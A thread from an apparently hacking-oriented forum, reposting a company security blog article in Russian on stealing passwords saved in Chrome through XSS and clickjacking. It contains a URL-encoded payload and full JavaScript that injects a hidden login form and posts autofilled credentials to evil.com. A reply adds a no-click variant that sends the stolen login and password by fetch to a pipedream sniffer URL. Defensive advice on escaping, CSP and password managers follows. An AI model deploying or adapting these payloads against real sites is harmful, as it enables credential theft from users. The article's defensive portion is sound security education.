• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Похищаем сохраненный в Chrome пароль с помощью XSS

top

(L3) cache
Пользователь
Регистрация
03.02.2020
Сообщения
252
Реакции
342
В этой статье я расскажу о том, как с помощью XSS-атаки в сочетании с ClickJacking’ом злоумышленники могут похитить сохраненные в браузере пароли.

XSS ― это одна из самых популярных веб-уязвимостей. Строго говоря, это атака, а не уязвимость, но условимся, что иногда под XSS я буду подразумевать уязвимость, которая позволяет проводить XSS-атаку.

Согласно википедии, XSS (англ. Cross-Site Scripting) это «тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействия этого кода с веб-сервером злоумышленника».

Суть атаки​

Чтобы атаковать пользователя сайта, его нужно вынудить перейти по специально сформированной ссылке (о методах социальной инженерии, которые позволяют это сделать, поговорим как-нибудь в другой раз). Атака, для которой нужна спец ссылка, называется ReflectedXSS. Есть ещё StoredXSS, в случае которой вредоносный код сохраняется на странице, поэтому жертву даже не надо вынуждать перейти по ссылке, а нужно просто дождаться пока кто-нибудь откроет зараженную страницу.

Допустим, в результате социальной инженерии пользователь перешел по такой ссылке:
Код:
https://www.reg.ru/vulnerable_page?vulnerable_param=%22%3e%3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%2f%61%2e%6a%73%3e
На первый взгляд она не вызывает особых подозрений: длинновата, но домен-то правильный и открывается наш сайт, из-за чего может показаться, что бояться нечего (спойлер: тем, кто не хранит пароли в браузере, атака действительно не страшна). Но при переходе по ссылке срабатывает вредоносный код, который закодирован в URL. Скрипт крадет сохраненную в браузере связку логин/пароль от личного кабинета REG.RU жертвы.

Вот как это выглядит глазами пользователя, который перешел по ссылке — на странице появляется уведомление об ошибке (специально показываем какое-нибудь стандартное сообщение, чтобы не вызвать подозрений):

3212848e703788bb4bd670046f1e8211.png

При клике по кнопке OK откроется главная страница сайта. В общем-то и всё. Странно, но не подозрительно. Понять, что в это время злоумышленник уже получил сохраненный в браузере пароль, практически невозможно.

А теперь разберемся, как эта атака вообще работает.

Технические подробности​

Посмотрим, что спрятано в ссылке. Для этого декодируем ее:

19be92d26d1990f33a99652b50100369.png

При переходе по ссылке загружается и выполняется JavaScript:
JavaScript:
var p = document.createElement("input");
    p.setAttribute("type", "password");
    p.setAttribute("name", "password");
var l = document.createElement("input");
    l.setAttribute("type", "text");
    l.setAttribute("name", "login");
var f = document.createElement("form");
    f.setAttribute("method", "post");
    f.setAttribute("action", "https://evil.com/");
    f.appendChild(l);
    f.appendChild(p);
    document.body.appendChild(f)
function clck() {setTimeout(()=>{f.submit()}, 1000)}
document.body.setAttribute('onclick', 'clck()');
    setTimeout(()=>{alert('Ошибка отправки CSRF-токена')},2000)
Этот код создает на странице форму и поля с названиями, совпадающими с формой авторизации, чтобы браузер знал, куда подставить сохраненный пароль. Форма добавляется в са-а-амом низу:

c56ecea870cc38304d8a5059dfd619ed.png

Чтобы браузер (в эксперименте использовался Chrome) подставил пароль, нужно взаимодействие пользователя со страницей. Сымитировать нажатие с помощью JS не получится, нужен настоящий клик. Для этого провоцируем жертву на инстинктивное нажатие на кнопку OK в сообщении об ошибке. В том, чтобы вынудить пользователя кликнуть в определенное место и есть суть атаки под названием ClickJacking. Чтобы все успело прогрузиться и отработать, указываем необходимые таймауты. Вешаем обработчик onclick на body.

После первого клика пароль отправляется на сайт хакера, где остается только его записать, а клиенту вернуть редирект на главную страницу.

Так как же обычному пользователю защититься от конкретно этой атаки? Ответ прост: не нужно хранить пароли в браузере. Своим коллегам мы рекомендуем использовать менеджеры паролей, например KeePass или KeePassXC.

К слову, у KeePassXC есть плагин для браузера, который позволяет автоматически заполнять пароли для сайтов. Защитил бы он от атаки, которую мы провели? Давайте разберемся.

Расширение браузера KeePassXC​

При добавлении формы на страницу, расширение KeePassXC также ее находит, но при этом подставляет свою иконку в поле ввода. Чтобы осуществить подстановку логина-пароля, нужно нужно кликнуть именно по этой иконке (ключик внизу):

75e9ac2dc37b60384b2f066119e8c8a9.png

Можно было бы попытаться скрыть отображение формы на странице, сделав ее прозрачной, и, сильно заморочившись, подогнать ее под кнопку OK во всплывающем окне, реализовав тем самым настоящий ClickJacking. Но от этого нас спасает директива shadow-root(closed), которая не позволяет управлять элементами расширения из внешних скриптов:

52ec9d80241c87b36b5f78aa70ee1242.png

Таким образом, мы не можем повлиять на прозрачность иконки KeePassXC. Это будет выглядеть подозрительно:

2300253dbcd2734b4cf011b82e911f06.png

Конечно, и здесь есть вероятность, что жертва не заметит и кликнет по иконке менеджера паролей, в результате чего пароль подставится в форму и уйдет злоумышленнику, но иконка даст хоть какой-то повод насторожиться и не нажимать на опасную кнопку. К тому же, в этот момент должна быть разблокирована база паролей и должен быть разрешен доступ к паролям с текущей страницы. При правильных настройках вероятность атаки сводится к минимуму.

Кратко о том, как не допустить уязвимость​

А теперь скажем пару слов как не допустить на вашем сайте уязвимость, позволяющую провести XSS-атаку.

Основной момент ― это правильная обработка данных, которые поступают из недоверенного источника и встраиваются в HTML-код страницы. К слову, это не обязательно значения из параметров URL. Это могут быть любые данные, на которые может повлиять пользователь и которые отображаются где-то на странице.

Для начала нужно понять в каком контексте эти данные попадают в код:
  • внутри тегов HTML, внутри аргументов тегов, внутри комментариев HTML;
  • в javascript-коде (например, внутри кода <script> или в inline-скриптах в других тегах);
  • в аргументе href тега <a>.
В общем случае к таким данным должна применяться кодировка HTML-entities при выводе на страницу. Обязательно должны быть закодированы символы <, >, и &.

При инъекции в JS-код дополнительно нужно экранировать одинарную кавычку \' (например, если данные подставляются в значение строки), или же применять более индивидуальные методы. Кстати, зачем вообще подставлять данные напрямую в код JS? По-моему это плохая практика, которая приводит в том числе к проблемам с безопасностью.

В контексте тега <a> нужно применять кодировку URL, а также валидировать схему и адрес хоста, если ссылка формируется полностью из недоверенных данных. Например, чтобы нельзя было сформировать ссылку типа javascript:evil_code();

В качестве превентивной меры защиты можно также использовать технологию Content-Security-Policy, которая не позволит загружать скрипты со сторонних ресурсов.

Выводы​

Данная атака наглядно демонстрирует, как могут быть опасны XSS-атаки в сочетании с социальной инженерией, и как важно не допускать уязвимостей, которые могут привести к XSS, и своевременно их устранять. Варианты использования подобных уязвимостей ограничиваются только возможностями javascript и фантазией исследователя.

Расширение KeePassXC снижает вероятность успешности атаки, но полностью не исключает. В любом случае, это значительно безопаснее, чем хранить пароли в браузере.

автор myshenkov habr.ru
REG.RU
 
Только выкладывал тыц) тогда добавим.


Но мне так проще сразу нагрузку так)


 
Немного поигрался с таким подходом и выясни, что не обязательно нужен хак с кликом. В Chrome это работает и без клика: страничка загрузилась -- пароли уже вставились браузером на страничку. Т.е. можно юзать и такой варик:
JavaScript:
function xss() {
    const p = document.createElement("input");
    p.setAttribute("type", "password");
    p.setAttribute("name", "password");
    const l = document.createElement("input");
    l.setAttribute("type", "text");
    l.setAttribute("name", "login");
    const f = document.createElement("form");
    f.appendChild(l);
    f.appendChild(p);
    f.setAttribute("hidden", "true");
    document.body.appendChild(f)

    document.body.setAttribute('onclick', 'clck()');
    setTimeout(() => {
        const b = {
            "pass": p.value,
            "login": l.value,
        }

        const o = {
            method: "POST",
            mode: "cors",
            body: JSON.stringify(b),
        }

        fetch("https://sniffer-link.m.pipedream.net", o)
    }, 2000)
};
 
В 2025 это уже походу не работает?) Описанные выше варианты не срабатывают - форму добавить получается но автозаполнение не работает пока сам не кликнешь на добавленное поле.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх